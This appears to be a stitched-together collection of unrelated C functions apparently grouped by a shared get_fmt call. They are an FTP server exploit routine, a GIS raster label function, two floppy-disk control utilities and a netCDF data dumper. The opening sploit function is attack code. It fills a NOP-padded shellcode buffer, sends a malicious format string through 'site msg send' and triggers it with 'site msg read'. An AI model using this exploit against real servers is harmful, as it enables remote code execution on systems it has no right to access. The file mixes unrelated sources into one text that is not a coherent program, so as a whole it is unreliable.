void sploit(args * argp, int sock)
{
char buf[BS], fmt[BS], sb[BS];
/* setup shell buf */
memset(sb, NOP, BS);
strncpy(sb + 100, sc, BS - 101);
sb[BS - 1] = 0;
get_fmt(argp, fmt);
/* slip them the poison */
snprintf(buf, BS - 1, "site msg send %s %s\r\n", argp->user, fmt);
buf[BS - 1] = 0;
if (send(sock, buf, strlen(buf), 0) < 0)
die("send");
sleep(5);
/* and make them eat it */
snprintf(buf, BS - 1, "site msg read %s\r\n", sb);
buf[BS - 1] = 0;
if (send(sock, buf, strlen(buf), 0) < 0)
die("send");
printf("Exploit sent\n");
sleep(1);
}
/*!
* \brief Get a raster category label
*
* This routine looks up category <i>rast</i> in the <i>pcats</i>
* structure and returns a pointer to a string which is the label for
* the category. A legal pointer is always returned. If the category
* does not exist in <i>pcats</i>, then a pointer to the empty string
* "" is returned.
*
* <b>Warning:</b> The pointer that is returned points to a hidden
* static buffer. Successive calls to Rast_get_c_cat() overwrite this
* buffer.
*
* \param rast cell value
* \param pcats pointer to Categories structure
* \param data_type map type (CELL, FCELL, DCELL)
*
* \return pointer to category label
* \return "" if category is not found
*/
char *Rast_get_cat(void *rast,
struct Categories *pcats, RASTER_MAP_TYPE data_type)
{
static char label[1024];
char *f, *l, *v;
CELL i;
DCELL val;
float a[2];
char fmt[30], value_str[30];
if (Rast_is_null_value(rast, data_type)) {
sprintf(label, "no data");
return label;
}
/* first search the list of labels */
*label = 0;
val = Rast_get_d_value(rast, data_type);
i = Rast_quant_get_cell_value(&pcats->q, val);
G_debug(5, "Rast_get_cat(): val %lf found i %d", val, i);
if (!Rast_is_c_null_value(&i) && i < pcats->ncats) {
if (pcats->labels[i] != NULL)
return pcats->labels[i];
return label;
}
/* generate the label */
if ((f = pcats->fmt) == NULL)
return label;
a[0] = (float)val *pcats->m1 + pcats->a1;
a[1] = (float)val *pcats->m2 + pcats->a2;
l = label;
while (*f) {
if (*f == '$') {
f++;
if (*f == '$')
*l++ = *f++;
else if (*f == '?') {
f++;
get_cond(&f, v = value_str, val);
while (*v)
*l++ = *v++;
}
else if (get_fmt(&f, fmt, &i)) {
sprintf(v = value_str, fmt, a[i]);
while (*v)
*l++ = *v++;
}
else
*l++ = '$';
}
else {
*l++ = *f++;
}
}
*l = 0;
return label;
}
int
main(int argc, char **argv)
{
enum fd_drivetype type;
struct fd_type ft, newft, *fdtp;
const char *name, *descr;
int fd, i, autofmt;
autofmt = 0;
while((i = getopt(argc, argv, "aFf:s:v")) != -1)
switch(i) {
case 'a':
autofmt = 1;
case 'F':
showfmt = 1;
show = 0;
break;
case 'f':
if (!strcmp(optarg, "auto")) {
format = -1;
} else if (getnum(optarg, &format)) {
fprintf(stderr,
"Bad argument %s to -f option; must be numeric\n",
optarg);
usage();
}
show = 0;
break;
case 's':
fmtstring = optarg;
show = 0;
break;
case 'v':
verbose++;
break;
default:
usage();
}
argc -= optind;
argv += optind;
if(argc != 1)
usage();
if((fd = open(argv[0], O_RDONLY | O_NONBLOCK)) < 0)
err(EX_UNAVAILABLE, "open(%s)", argv[0]);
if (ioctl(fd, FD_GDTYPE, &type) == -1)
err(EX_OSERR, "ioctl(FD_GDTYPE)");
if (ioctl(fd, FD_GTYPE, &ft) == -1)
err(EX_OSERR, "ioctl(FD_GTYPE)");
if (show) {
showdev(type, argv[0]);
return (0);
}
if (autofmt) {
memset(&newft, 0, sizeof newft);
ft = newft;
}
if (format) {
getname(type, &name, &descr);
fdtp = get_fmt(format, type);
if (fdtp == 0)
errx(EX_USAGE,
"unknown format %d KB for drive type %s",
format, name);
ft = *fdtp;
}
if (fmtstring) {
parse_fmt(fmtstring, type, ft, &newft);
ft = newft;
}
if (showfmt) {
if (verbose) {
const char *s;
printf("%s: %d KB media type\n", argv[0],
(128 << ft.secsize) * ft.size / 1024);
printf("\tFormat:\t\t");
print_fmt(ft);
if (ft.datalen != 0xff &&
ft.datalen != (128 << ft.secsize))
printf("\tData length:\t%d\n", ft.datalen);
printf("\tSector size:\t%d\n", 128 << ft.secsize);
printf("\tSectors/track:\t%d\n", ft.sectrac);
printf("\tHeads/cylinder:\t%d\n", ft.heads);
printf("\tCylinders/disk:\t%d\n", ft.tracks);
switch (ft.trans) {
case 0: printf("\tTransfer rate:\t500 kbps\n"); break;
case 1: printf("\tTransfer rate:\t300 kbps\n"); break;
case 2: printf("\tTransfer rate:\t250 kbps\n"); break;
case 3: printf("\tTransfer rate:\t1 Mbps\n"); break;
}
printf("\tSector gap:\t%d\n", ft.gap);
printf("\tFormat gap:\t%d\n", ft.f_gap);
printf("\tInterleave:\t%d\n", ft.f_inter);
printf("\tSide offset:\t%d\n", ft.offset_side2);
printf("\tFlags\t\t<");
s = "";
if (ft.flags & FL_MFM) {
printf("%sMFM", s);
s = ",";
}
if (ft.flags & FL_2STEP) {
printf("%s2STEP", s);
s = ",";
}
if (ft.flags & FL_PERPND) {
printf("%sPERPENDICULAR", s);
s = ",";
}
if (ft.flags & FL_AUTO) {
printf("%sAUTO", s);
s = ",";
}
printf(">\n");
} else {
print_fmt(ft);
}
return (0);
}
if (format || fmtstring) {
if (ioctl(fd, FD_STYPE, &ft) == -1)
err(EX_OSERR, "ioctl(FD_STYPE)");
return (0);
}
return 0;
}
int
main(int argc, char **argv)
{
enum fd_drivetype type;
struct fd_type fdt, newft, *fdtp;
struct stat sb;
#define MAXPRINTERRS 10
struct fdc_status fdcs[MAXPRINTERRS];
int format, fill, quiet, verify, verify_only, confirm;
int fd, c, i, track, error, tracks_per_dot, bytes_per_track, errs;
int flags;
char *fmtstring, *device;
const char *name, *descr;
format = quiet = verify_only = confirm = 0;
verify = 1;
fill = 0xf6;
fmtstring = 0;
while((c = getopt(argc, argv, "F:f:nqs:vy")) != -1)
switch(c) {
case 'F': /* fill byte */
if (getnum(optarg, &fill)) {
fprintf(stderr,
"Bad argument %s to -F option; must be numeric\n",
optarg);
usage();
}
break;
case 'f': /* format in kilobytes */
if (getnum(optarg, &format)) {
fprintf(stderr,
"Bad argument %s to -f option; must be numeric\n",
optarg);
usage();
}
break;
case 'n': /* don't verify */
verify = 0;
break;
case 'q': /* quiet */
quiet = 1;
break;
case 's': /* format string with detailed options */
fmtstring = optarg;
break;
case 'v': /* verify only */
verify = 1;
verify_only = 1;
break;
case 'y': /* confirm */
confirm = 1;
break;
default:
usage();
}
if(optind != argc - 1)
usage();
if (stat(argv[optind], &sb) == -1 && errno == ENOENT) {
/* try prepending _PATH_DEV */
device = malloc(strlen(argv[optind]) + sizeof(_PATH_DEV) + 1);
if (device == 0)
errx(EX_UNAVAILABLE, "out of memory");
strcpy(device, _PATH_DEV);
strcat(device, argv[optind]);
if (stat(device, &sb) == -1) {
free(device);
device = argv[optind]; /* let it fail below */
}
} else {
device = argv[optind];
}
if ((fd = open(device, O_RDWR | O_NONBLOCK)) < 0)
err(EX_OSERR, "open(%s)", device);
/*
* Device initialization.
*
* First, get the device type descriptor. This tells us about
* the media geometry data we need to format a medium. It also
* lets us know quickly whether the device name actually points
* to a floppy disk drive.
*
* Then, obtain any drive options. We're mainly interested to
* see whether we're currently working on a device with media
* density autoselection (FDOPT_AUTOSEL). Then, we add the
* device option to tell the kernel not to log media errors,
* since we can handle them ourselves. If the device does
* media density autoselection, we then need to set the device
* type appropriately, since by opening with O_NONBLOCK we
* told the driver to bypass media autoselection (otherwise we
* wouldn't stand a chance to format an unformatted or damaged
* medium). We do not attempt to set the media type on any
* other devices since this is a privileged operation. For the
* same reason, specifying -f and -s options is only possible
* for autoselecting devices.
*
* Finally, we are ready to turn off O_NONBLOCK, and start to
* actually format something.
*/
if(ioctl(fd, FD_GTYPE, &fdt) < 0)
errx(EX_OSERR, "not a floppy disk: %s", device);
if (ioctl(fd, FD_GDTYPE, &type) == -1)
err(EX_OSERR, "ioctl(FD_GDTYPE)");
if (format) {
getname(type, &name, &descr);
fdtp = get_fmt(format, type);
if (fdtp == 0)
errx(EX_USAGE,
"unknown format %d KB for drive type %s",
format, name);
fdt = *fdtp;
}
if (fmtstring) {
parse_fmt(fmtstring, type, fdt, &newft);
fdt = newft;
}
if (ioctl(fd, FD_STYPE, &fdt) < 0)
err(EX_OSERR, "ioctl(FD_STYPE)");
if ((flags = fcntl(fd, F_GETFL, 0)) == -1)
err(EX_OSERR, "fcntl(F_GETFL)");
flags &= ~O_NONBLOCK;
if (fcntl(fd, F_SETFL, flags) == -1)
err(EX_OSERR, "fcntl(F_SETFL)");
bytes_per_track = fdt.sectrac * (128 << fdt.secsize);
/* XXX 20/40 = 0.5 */
tracks_per_dot = (fdt.tracks * fdt.heads + 20) / 40;
if (verify_only) {
if(!quiet)
printf("Verify %dK floppy `%s'.\n",
fdt.tracks * fdt.heads * bytes_per_track / 1024,
device);
}
else if(!quiet && !confirm) {
printf("Format %dK floppy `%s'? (y/n): ",
fdt.tracks * fdt.heads * bytes_per_track / 1024,
device);
if(!yes()) {
printf("Not confirmed.\n");
return (EX_UNAVAILABLE);
}
}
/*
* Formatting.
*/
if(!quiet) {
printf("Processing ");
for (i = 0; i < (fdt.tracks * fdt.heads) / tracks_per_dot; i++)
putchar('-');
printf("\rProcessing ");
fflush(stdout);
}
error = errs = 0;
for (track = 0; track < fdt.tracks * fdt.heads; track++) {
if (!verify_only) {
format_track(fd, track / fdt.heads, fdt.sectrac,
track % fdt.heads, fdt.trans, fdt.f_gap,
fdt.secsize, fill, fdt.f_inter,
track % fdt.heads? fdt.offset_side2: 0);
if(!quiet && !((track + 1) % tracks_per_dot)) {
putchar('F');
fflush(stdout);
}
}
if (verify) {
if (verify_track(fd, track, bytes_per_track) < 0) {
error = 1;
if (errs < MAXPRINTERRS && errno == EIO) {
if (ioctl(fd, FD_GSTAT, fdcs + errs) ==
-1)
errx(EX_IOERR,
"floppy IO error, but no FDC status");
errs++;
}
}
if(!quiet && !((track + 1) % tracks_per_dot)) {
if (!verify_only)
putchar('\b');
if (error) {
putchar('E');
error = 0;
}
else
putchar('V');
fflush(stdout);
}
}
}
if(!quiet)
printf(" done.\n");
if (!quiet && errs) {
fflush(stdout);
fprintf(stderr, "Errors encountered:\nCyl Head Sect Error\n");
for (i = 0; i < errs && i < MAXPRINTERRS; i++) {
fprintf(stderr, " %2d %2d %2d ",
fdcs[i].status[3], fdcs[i].status[4],
fdcs[i].status[5]);
printstatus(fdcs + i, 1);
putc('\n', stderr);
}
if (errs >= MAXPRINTERRS)
fprintf(stderr, "(Further errors not printed.)\n");
}
return errs != 0;
}
/* Output the data for a single variable, in CDL syntax. */
int
vardata(
const struct ncvar *vp, /* variable */
long vdims[], /* variable dimension sizes */
int ncid, /* netcdf id */
int varid, /* variable id */
const struct fspec* fsp /* formatting specs */
)
{
long cor[NC_MAX_DIMS]; /* corner coordinates */
long edg[NC_MAX_DIMS]; /* edges of hypercube */
long add[NC_MAX_DIMS]; /* "odometer" increment to next "row" */
#define VALBUFSIZ 1000
double vals[VALBUFSIZ] ; /* aligned buffer */
int gulp = VALBUFSIZ;
int id;
int ir;
long nels;
long ncols;
long nrows;
int vrank = vp->ndims;
static int initeps = 0;
/* printf format used to print each value */
char *fmt = get_fmt(ncid, varid, vp->type);
if (!initeps) { /* make sure epsilons get initialized */
init_epsilons();
initeps = 1;
}
nels = 1;
for (id = 0; id < vrank; id++) {
cor[id] = 0;
edg[id] = 1;
nels *= vdims[id]; /* total number of values for variable */
}
if (vrank <= 1) {
Printf("\n %s = ", vp->name);
set_indent ((int)strlen(vp->name) + 4);
} else {
Printf("\n %s =\n ", vp->name);
set_indent (2);
}
if (vrank < 1) {
ncols = 1;
} else {
ncols = vdims[vrank-1]; /* size of "row" along last dimension */
edg[vrank-1] = vdims[vrank-1];
for (id = 0; id < vrank; id++)
add[id] = 0;
if (vrank > 1)
add[vrank-2] = 1;
}
nrows = nels/ncols; /* number of "rows" */
for (ir = 0; ir < nrows; ir++) {
/*
* rather than just printing a whole row at once (which might exceed
* the capacity of MSDOS platforms, for example), we break each row
* into smaller chunks, if necessary.
*/
long corsav;
int left = (int)ncols;
boolean lastrow;
if (vrank > 0) {
corsav = cor[vrank-1];
if (fsp->brief_data_cmnts != false
&& vrank > 1
&& left > 0) { /* print brief comment with indices range */
Printf("// %s(",vp->name);
switch (fsp->data_lang) {
case LANG_C:
/* print brief comment with C variable indices */
for (id = 0; id < vrank-1; id++)
Printf("%lu,", (unsigned long)cor[id]);
if (vdims[vrank-1] == 1)
Printf("0");
else
Printf(" 0-%lu", (unsigned long)vdims[vrank-1]-1);
break;
case LANG_F:
/* print brief comment with Fortran variable indices */
if (vdims[vrank-1] == 1)
Printf("1");
else
Printf("1-%lu ", (unsigned long)vdims[vrank-1]);
for (id = vrank-2; id >=0 ; id--) {
Printf(",%lu", (unsigned long)(1 + cor[id]));
}
break;
}
Printf(")\n ");
set_indent(4);
}
}
lastrow = (boolean)(ir == nrows-1);
while (left > 0) {
long toget = left < gulp ? left : gulp;
if (vrank > 0)
edg[vrank-1] = toget;
switch(vp->type) {
case NC_CHAR:
NC_CHECK(
ncvarget(ncid, varid, cor, edg, (char *)vals) );
pr_tvals(vp, toget, fmt, left > toget, lastrow,
(char *) vals, fsp, cor);
break;
case NC_BYTE:
NC_CHECK(
ncvarget(ncid, varid, cor, edg, (signed char *)vals) );
pr_bvals(vp, toget, fmt, left > toget, lastrow,
(signed char *) vals, fsp, cor);
break;
case NC_SHORT:
NC_CHECK(
ncvarget(ncid, varid, cor, edg, (short *)vals) );
pr_svals(vp, toget, fmt, left > toget, lastrow,
(short *) vals, fsp, cor);
break;
case NC_INT:
NC_CHECK(
ncvarget(ncid, varid, cor, edg, (int *)vals) );
pr_ivals(vp, toget, fmt, left > toget, lastrow,
(int *) vals, fsp, cor);
break;
case NC_FLOAT:
NC_CHECK(
ncvarget(ncid, varid, cor, edg, (float *)vals) );
pr_fvals(vp, toget, fmt, left > toget, lastrow,
(float *) vals, fsp, cor);
break;
case NC_DOUBLE:
NC_CHECK(
ncvarget(ncid, varid, cor, edg, (double *)vals) );
pr_dvals(vp, toget, fmt, left > toget, lastrow,
(double *) vals, fsp, cor);
break;
default:
error("vardata: bad type");
}
left -= toget;
if (vrank > 0)
cor[vrank-1] += toget;
}
if (vrank > 0)
cor[vrank-1] = corsav;
if (ir < nrows-1)
if (!upcorner(vdims,vp->ndims,cor,add))
error("vardata: odometer overflowed!");
set_indent(2);
}
return 0;
}
